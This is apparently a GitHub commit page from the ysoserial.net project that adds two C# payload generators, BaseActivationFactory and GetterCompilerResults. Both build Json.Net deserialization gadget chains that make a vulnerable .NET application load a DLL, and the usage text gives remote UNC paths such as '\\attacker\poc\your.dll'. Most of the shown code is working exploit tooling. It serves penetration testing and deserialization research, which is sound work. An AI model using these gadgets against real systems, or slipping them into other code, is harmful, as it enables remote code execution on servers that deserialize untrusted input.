Skip to content

Commit 1dba9c4

Browse files
authored
Merge pull request #156 from chudyPB/post-hexacon
Post hexacon - refer to #156 (comment) to see the changes
2 parents 22b58d0 + 7b3b61e commit 1dba9c4

14 files changed

+2765
-418
lines changed

README.md

Lines changed: 512 additions & 413 deletions
Large diffs are not rendered by default.
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
using NDesk.Options;
2+
using System;
3+
using System.Collections.Generic;
4+
using System.Collections.Specialized;
5+
using System.Diagnostics;
6+
using System.Linq;
7+
using System.Reflection;
8+
using System.Text;
9+
using System.Threading.Tasks;
10+
using System.Windows.Data;
11+
using ysoserial.Helpers;
12+
13+
namespace ysoserial.Generators
14+
{
15+
public class BaseActivationFactoryGenerator : GenericGenerator
16+
{
17+
// BaseActivationFactory
18+
// Gadget for .NET 5/6/7 with WPF enabled or Microsoft.WindowsDesktop.App\PresentationFramework.dll available
19+
// BaseActivationFactory constructor leads to kernel32!LoadLibraryExW call, one can load remote native DLL (C/C++)
20+
// As an input (-c), you have to provide a path to the DLL (UNC path can be given). ATTENTION - ".dll" string will be appended to your path, you shouldn't provide it
21+
22+
public override List<string> SupportedFormatters()
23+
{
24+
return new List<string> { "Json.Net" }; // MessagePack should work too
25+
}
26+
27+
public override string Name()
28+
{
29+
return "BaseActivationFactory";
30+
}
31+
32+
public override string Finders()
33+
{
34+
return "Piotr Bazydlo";
35+
}
36+
37+
public override string AdditionalInfo()
38+
{
39+
return "Gadget for .NET 5/6/7 with WPF enabled or Microsoft.WindowsDesktop.App\\PresentationFramework.dll available. Leads to remote DLL loading (native C/C++ DLL)";
40+
}
41+
42+
public override List<string> Labels()
43+
{
44+
return new List<string> { GadgetTypes.NotBridgeNotDerived, ".NET 5/6/7", "Requires WPF enabled or PresentationFramework.dll" };
45+
}
46+
47+
public override string SupportedBridgedFormatter()
48+
{
49+
return Formatters.BinaryFormatter;
50+
}
51+
52+
public override object Generate(string formatter, InputArgs inputArgs)
53+
{
54+
55+
String payload;
56+
String targetPath = "";
57+
inputArgs.IsRawCmd = true;
58+
59+
if (!inputArgs.CmdFullString.ToLowerInvariant().EndsWith(".dll"))
60+
{
61+
Console.WriteLine("This gadget loads remote/local file: -c argument should provide a file path to your DLL file\r\nUNC paths can be used for the remote DLL loading, like \\\\attacker\\poc\\your.dll\r\nThis gadget can only load files with DLL extension, as .dll extension will be added to the path during the deserialization\r\nExample: ysoserial.exe -g BaseActivationFactory -f Json.Net -c '\\\\attacker\\poc\\your.dll'");
62+
Environment.Exit(-1);
63+
}
64+
65+
if (formatter.ToLower().Equals("json.net"))
66+
{
67+
inputArgs.CmdType = CommandArgSplitter.CommandType.JSON;
68+
69+
//remove .dll from the targetPath - it will be added by the code during the deserialization
70+
targetPath = inputArgs.CmdFullString;
71+
targetPath = targetPath.Substring(0, targetPath.Length - 4);
72+
73+
payload = @"{
74+
'$type':'WinRT.BaseActivationFactory, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
75+
'typeNamespace':'" + targetPath + @"',
76+
'typeFullName':'whatever'
77+
}
78+
";
79+
80+
if (inputArgs.Minify)
81+
{
82+
if (inputArgs.UseSimpleType)
83+
{
84+
payload = JsonHelper.Minify(payload, new string[] { "mscorlib" }, null);
85+
}
86+
else
87+
{
88+
payload = JsonHelper.Minify(payload, null, null);
89+
}
90+
}
91+
92+
if (inputArgs.Test)
93+
{
94+
try
95+
{
96+
Console.WriteLine("Test not implemented for .NET 5/6/7 gadget. Please test manually on those versions with WPF enabled.");
97+
}
98+
catch (Exception err)
99+
{
100+
Debugging.ShowErrors(inputArgs, err);
101+
}
102+
}
103+
return payload;
104+
}
105+
else
106+
{
107+
throw new Exception("Formatter not supported");
108+
}
109+
}
110+
}
111+
}
Lines changed: 170 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,170 @@
1+
using NDesk.Options;
2+
using Newtonsoft.Json.Linq;
3+
using System;
4+
using System.Collections.Generic;
5+
using System.Runtime.Serialization;
6+
using System.Security.Principal;
7+
using System.Windows.Markup;
8+
using ysoserial.Helpers;
9+
10+
namespace ysoserial.Generators
11+
{
12+
public class GetterCompilerResultsGenerator : GenericGenerator
13+
{
14+
// CompilerResults + Getter call gadget
15+
// CompilerResults.get_CompiledAssembly leads to the DLL Load: remote DLL loading for .NET 5/6/7 and local DLL loading for .NET Framework
16+
// .NET 5/6/7 requires WPF enabled, as getter-call gadgets exist in WPF assemblies
17+
// Mixed DLLs can be loaded
18+
19+
// We can deserialize the CompilerResults with proper member values
20+
// and then call the get_CompiledAssembly with one of the getter-call gadgets:
21+
// PropertyGrid
22+
// ComboBox
23+
// ListBox
24+
// CheckedListBox
25+
26+
// It should be possible to use it with the serializers that are able to call the one-arg constructor
27+
28+
private int variant_number = 1; // Default
29+
30+
public override List<string> SupportedFormatters()
31+
{
32+
return new List<string> { "Json.Net"}; // MessagePack should work too
33+
}
34+
35+
public override string Name()
36+
{
37+
return "GetterCompilerResults";
38+
}
39+
40+
public override string Finders()
41+
{
42+
return "Piotr Bazydlo";
43+
}
44+
45+
public override string AdditionalInfo()
46+
{
47+
return "Remote DLL loading gadget for .NET 5/6/7 with WPF enabled (mixed DLL). Local DLL loading for .NET Framework if System.CodeDom is available. DLL path delivered with -c argument";
48+
}
49+
50+
public override OptionSet Options()
51+
{
52+
OptionSet options = new OptionSet()
53+
{
54+
{"var|variant=", "Variant number. Variant defines a different getter-call gadget. Choices: \r\n1 (default) - PropertyGrid getter-call gadget, " +
55+
"\r\n2 - ComboBox getter-call gadget (may load DLL twice)" +
56+
"\r\n3 - ListBox getter-call gadget" +
57+
"\r\n4 - CheckedListBox getter-call gadget", v => int.TryParse(v, out variant_number) },
58+
};
59+
60+
return options;
61+
}
62+
63+
public override List<string> Labels()
64+
{
65+
return new List<string> { GadgetTypes.GetterChainNotDerived, "Remote DLL loading for .NET 5/6/7 with WPF Enabled, Local DLL loading for .NET Framework if System.CodeDom is available" };
66+
}
67+
68+
public override string SupportedBridgedFormatter()
69+
{
70+
return Formatters.BinaryFormatter;
71+
}
72+
73+
public override object Generate(string formatter, InputArgs inputArgs)
74+
{
75+
String payload;
76+
String compilerPayload;
77+
inputArgs.IsRawCmd = true;
78+
79+
if (!inputArgs.CmdFullString.ToLowerInvariant().EndsWith(".dll"))
80+
{
81+
Console.WriteLine("This gadget loads remote (.NET 5/6/7) or local file (.NET Framework, if System.CodeDom is available): -c argument should provide a file path to your mixed DLL file, which needs to end with the \".dll\"\r\nUNC paths can be used for the remote DLL loading, like \\\\attacker\\poc\\your.dll\r\nIf you want to deliver file with a different extension than .dll, please modify the gadget manually\r\nExample: ysoserial.exe -g GetterCompilerResults -f Json.Net -c '\\\\attacker\\poc\\your.dll'");
82+
Environment.Exit(-1);
83+
}
84+
85+
if (formatter.ToLower().Equals("json.net"))
86+
{
87+
inputArgs.CmdType = CommandArgSplitter.CommandType.JSON;
88+
89+
compilerPayload = @"{
90+
'$type':'System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=5.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51',
91+
'tempFiles':null,
92+
'PathToAssembly':'" + inputArgs.CmdFullString + @"'
93+
}";
94+
95+
if (variant_number == 2)
96+
{
97+
payload = @"{
98+
'$type':'System.Windows.Forms.ComboBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089',
99+
'Items':[
100+
" + compilerPayload + @"
101+
],
102+
'DisplayMember':'CompiledAssembly',
103+
'Text':'whatever'
104+
}";
105+
}
106+
else if (variant_number == 3)
107+
{
108+
payload = @"{
109+
'$type':'System.Windows.Forms.ListBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089',
110+
'Items':[
111+
" + compilerPayload + @"
112+
],
113+
'DisplayMember':'CompiledAssembly',
114+
'Text':'whatever'
115+
}";
116+
}
117+
else if (variant_number == 4)
118+
{
119+
payload = @"{
120+
'$type':'System.Windows.Forms.CheckedListBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089',
121+
'Items':[
122+
" + compilerPayload + @"
123+
],
124+
'DisplayMember':'CompiledAssembly',
125+
'Text':'whatever'
126+
}";
127+
}
128+
else
129+
{
130+
payload = @"{
131+
'$type':'System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089',
132+
'SelectedObjects':[
133+
" + compilerPayload + @"
134+
]
135+
}";
136+
}
137+
138+
if (inputArgs.Minify)
139+
{
140+
if (inputArgs.UseSimpleType)
141+
{
142+
payload = JsonHelper.Minify(payload, new string[] { "mscorlib" }, null);
143+
}
144+
else
145+
{
146+
payload = JsonHelper.Minify(payload, null, null);
147+
}
148+
}
149+
150+
if (inputArgs.Test)
151+
{
152+
try
153+
{
154+
SerializersHelper.JsonNet_deserialize(payload);
155+
}
156+
catch (Exception err)
157+
{
158+
Debugging.ShowErrors(inputArgs, err);
159+
}
160+
}
161+
return payload;
162+
}
163+
else
164+
{
165+
throw new Exception("Formatter not supported");
166+
}
167+
}
168+
}
169+
170+
}

0 commit comments

Comments
 (0)